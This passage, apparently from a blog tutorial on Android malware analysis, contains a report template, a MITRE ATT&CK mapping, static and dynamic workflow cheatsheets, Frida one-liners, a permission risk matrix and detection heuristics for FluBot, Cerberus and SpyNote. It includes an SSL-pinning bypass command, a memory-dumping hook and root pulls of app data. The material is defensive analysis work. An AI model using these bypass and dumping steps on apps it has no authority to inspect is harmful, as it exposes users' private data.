(code:

1
)
Certificate SHA256:

AA:BB:CC:...

(self-signed)
Obfuscation:
[
None

/

ProGuard

/

Allatori

/

Custom

XOR
]
Packer:
[
None

/

detected

by

APKiD
]
Suspicious Permissions:
[
list

dangerous

permission

combinations

with

rationale
]
Suspicious Components:
[
list

services
,
receivers
,
activities

with

analysis
]
Code Analysis Highlights:
[
key

findings

from

static

code

review
]
[
decrypted

strings

if

applicable
]
[
identified

C2

communication

pattern
]
DYNAMIC

ANALYSIS
----------------
Test Environment:
[
Android

version
,
emulator/physical

device
]
Frida Version:
[
version
]
Duration:
[
analysis

duration
]
Observed Behavior:

T+0:00

App

launched;

presented

minimal

UI

T+0:03

Requested

Accessibility

permission

via

dialog

T+0:05

Accessibility

granted

(Frida

hooks

observed

events)

T+0:07

Outbound

TCP

connection

to

185.
x.x.x:5555

T+0:08

Sent

JSON

device

info

beacon

...
INDICATORS

OF

COMPROMISE
-------------------------
[
Full

IOC

table

in

STIX/MISP

format

or

plain

text
]
MITRE

ATT&CK

MAPPING

(Mobile)
------------------------------
[
Verify

all

IDs

at

attack.mitre.org/matrices/mobile/

-

IDs

change

across

versions
]
T1417.001

Keylogging
[
if

applicable
]
T1417.002

GUI

Input

Capture

(Overlay

Attack)
[
if

applicable
]
T1430

Location

Tracking
[
if

applicable
]
T1412

Capture

SMS

Messages
[
if

applicable
]
T1513

Screen

Capture
[
if

applicable
]
T1453

Abuse

Accessibility

Features
[
if

applicable
]
T1624.001

Boot

or

Logon

Autostart

(Broadcast

Receivers)
[
if

applicable
]
T1626.001

Device

Administrator

Permissions
[
if

applicable
]
T1637

Dynamic

Resolution

(DGA)
[
if

applicable
]
T1521.001 Encrypted Channel:

Symmetric

Cryptography
[
if

applicable
]
T1521.002 Encrypted Channel:

Asymmetric

Cryptography
[
if

applicable
]
ATTRIBUTION

NOTES
-----------------
Overlap with known families:
[
yes
/no
,
evidence
]
Infrastructure overlaps:
[
ASN
,
certificate
,
registrar

patterns
]
Language/locale indicators:
[
strings
,
error

messages
,
UI

text
]
Confidence:
[
Low

-

no

strong

attribution

indicators
]

MITRE ATT&CK for Mobile — Key Technique Mapping

> Note: ATT&CK for Mobile technique IDs are updated periodically. Verify all IDs against the current matrix at attack.mitre.org/matrices/mobile/ before including in reports or detections.

Quick Reference Cheatsheet

Static Analysis Workflow

Classic — manual tools:

1.
sha256sum
malware.apk
# Hash the sample
2. apkid malware.apk
# Detect packer/obfuscator
3. apktool d malware.apk -o out/
# Decode resources + Smali
4.
cat
out/AndroidManifest.xml
# Review permissions + components
5. jadx malware.apk -d jadx_out/
# Decompile to Java
6. strings out/classes.dex | grep -E
"http|key|token|AES"

# String hunt
7. androguard-analyze malware.apk
# Programmatic analysis
8. MobSF upload
# Automated scan report

With analyzer.py:

# Quick metadata (
no
API key)
python analyzer.py info malware.apk
#
Full

static
pipeline (
no
AI)
python analyzer.py analyze malware.apk
--no-ai --output-dir reports/
#
Full
pipeline
with
AI classification
and
Frida hook generation
python analyzer.py analyze malware.apk \

--api-key $ANTHROPIC_API_KEY \

--vt-key $VT_API_KEY \

--save-frida \

--output-dir reports/
# Batch triage
-

only

show
HIGH
+
risk samples
python analyzer.py batch .
/
samples
/
\

--api-key $ANTHROPIC_API_KEY \

--min-risk 60 \

--output-dir reports/

Dynamic Analysis Workflow

Classic — manual tools:

1. adb connect 127.0.0.1:5555
# Connect to emulator (ADB port is 5555)
2. adb install malware.apk
# Install sample
3. adb logcat > logcat.txt &
# Start log capture
4. adb shell tcpdump -w /sdcard/cap.pcap &
# Start network capture
5. frida -U -f com.pkg -l hooks.js
# Attach Frida hooks (spawns app; --no-pause needed on Frida <14)
6. [Interact with app]
7. adb pull /sdcard/cap.pcap
# Pull captures
8. objection -g com.pkg explore
# Interactive investigation
9. android sslpinning
disable

# Bypass cert pinning
10. adb pull /data/data/com.pkg/
# Pull app data (root)

With analyzer.py — auto-generated Frida hooks:

# Step 1: Run analysis to generate sample-specific hooks
python analyzer.py analyze malware.apk \
--api-key
$ANTHROPIC_API_KEY
\
--save-frida \
--output-dir reports/
# Step 2: Deploy the generated hooks (replace manual hook writing)
frida -U -f com.malware.package \
-l reports/com.malware.package_frida_hooks.js
# Continue with steps 3–10 above as normal
# The generated hooks target APIs identified during static analysis,
# not generic templates - review before running on sensitive samples

Frida One-Liners

# List all loaded classes
frida -U com.pkg -e
"Java.perform(function(){Java.enumerateLoadedClasses({onMatch:function(c){console.log(c)},onComplete:function(){}});})"
# Trace all method calls in a class
frida-trace -U -f com.pkg -j
"com.pkg.NetworkClient!*"
# Dump all strings from app memory
frida -U com.pkg -e
"Process.enumerateModules().forEach(function(m){try{Memory.scanSync(m.base,m.size,'?? ?? ?? ??').forEach(function(r){var s=r.address.readUtf8String();if(s&&s.length>5)console.log(s)});}catch(e){}})"

Key Permissions — Risk Matrix

CRITICAL (always investigate):
READ_SMS + SEND_SMS + READ_CONTACTS → Smishing
capability

(FluBot)
SYSTEM_ALERT_WINDOW → Overlay attack capability
SYSTEM_ALERT_WINDOW + Accessibility Svc → Overlay
phishing

(combined)
COMPONENT
INDICATORS

(not uses-permission - look in component declarations)
:
Accessibility Service component present → Keylogging + overlay attacks
Device Admin receiver present → Anti-removal persistence
NotificationListenerService present → Notification/OTP interception
HIGH:
CAMERA + RECORD_AUDIO + ACCESS_FINE_LOCATION → Full surveillance RAT
REQUEST_INSTALL_PACKAGES → Dropper capability
MEDIUM

(context-dependent)
:
RECEIVE_BOOT_COMPLETED → Boot
persistence

(also many legitimate apps)
FOREGROUND_SERVICE → Background
persistence

(normal
for
some apps)
READ_EXTERNAL_STORAGE → File
access

(common but worth noting)

Analysis Tools Reference

STATIC:
apktool → Decode APK resources + Smali github.com/iBotPeaches/Apktool
jadx → Decompile DEX to Java github.com/skylot/jadx
apkid → Detect packers/obfuscators github.com/rednaga/APKiD
androguard → Python analysis library github.com/androguard/androguard
MobSF → Automated analysis platform github.com/MobSF/Mobile-Security-Framework-MobSF
DYNAMIC:
frida → Runtime instrumentation frida.re
objection → Frida CLI wrapper github.com/sensepost/objection
Burp Suite → HTTP/HTTPS interception portswigger.net
mitmproxy → HTTP/HTTPS interception (FOSS) mitmproxy.org
adb → Android Debug Bridge developer.android.com/tools/adb
NETWORK:
Wireshark → Packet analysis wireshark.org
tcpdump → Packet capture (on device) via adb shell
THREAT INTEL:
VirusTotal → Hash/file lookup virustotal.com
MalwareBazaar → Sample repository bazaar.abuse.ch
APKLab / Koodous → Android-specific repos
Hybrid Analysis → Automated sandbox hybrid-analysis.com

Common Android Malware Detection Signatures

BEHAVIORAL PATTERNS (high-signal triage heuristics —
not
attribution):
✓ Accessibility Service + SEND_SMS + READ_CONTACTS = smishing trojan archetype
✓ Device Admin receiver + SYSTEM_ALERT_WINDOW = banking trojan archetype
✓ Raw TCP socket
on
non-standard port = RAT archetype (SpyNote-style)
✓ HTTP POST
to
/gate.php
with
encoded body = PHP-panel C2 pattern
✓ DGA + DNS queries
to
random
short
domains = C2 domain evasion
STATIC
PATTERNS (medium confidence, investigative leads):

String
decryption
class

with

XOR
/RC4
loop
= obfuscated strings likely
✓ All
class
names
1

2
chars
long
= ProGuard/Allatori obfuscation
✓ assets/ contains .dex, .jar,
or
.apk = dropper

lib
/ contains stripped .so
with
no export table = native obfuscation
✓ Certificate: CN=Android Debug, OU=Android, O=Unknown = dev/test cert

Conclusion

Android malware analysis is a hands-on discipline. The concepts — APK structure, Accessibility Service abuse, overlay attacks, DGA-based C2, raw TCP RAT protocols — become clear only when you work through real samples.

The three families examined here — FluBot, Cerberus, and SpyNote — represent three archetypes you will encounter repeatedly:

  • Self-propagating banking trojans(FluBot): SMS-spread, DGA, overlay

  • MaaS banking trojans(Cerberus): sophisticated, source-available, 2FA bypass

  • Remote Access Trojans(SpyNote): full device control, persistent, widely deployed

The analysis workflow is consistent across types: start with the manifest, decompile the DEX, extract and decrypt strings, then move to dynamic analysis with Frida to confirm what static analysis suggested. Every sample reveals something the workflow did not anticipate — that is what makes it worth doing carefully.

Author: Andrey PautovPublished: March 2026Tags: Android Security, Malware Analysis, Mobile Security, FluBot, Cerberus, SpyNote, Frida, Reverse Engineering, CTI

References and Further Reading

Follow for practical cybersecurity research

If you’re interested in**Offensive security,**AI security, real-world attack simulations, CTI, and detection engineering— this is exactly what I focus on.

Stay connected:

Subscribe on Medium:medium.com/@1200kmConnect on LinkedIn:andrey-pautovGitHub — tools & labs:github.com/anpa1200Contact:1200km@gmail.com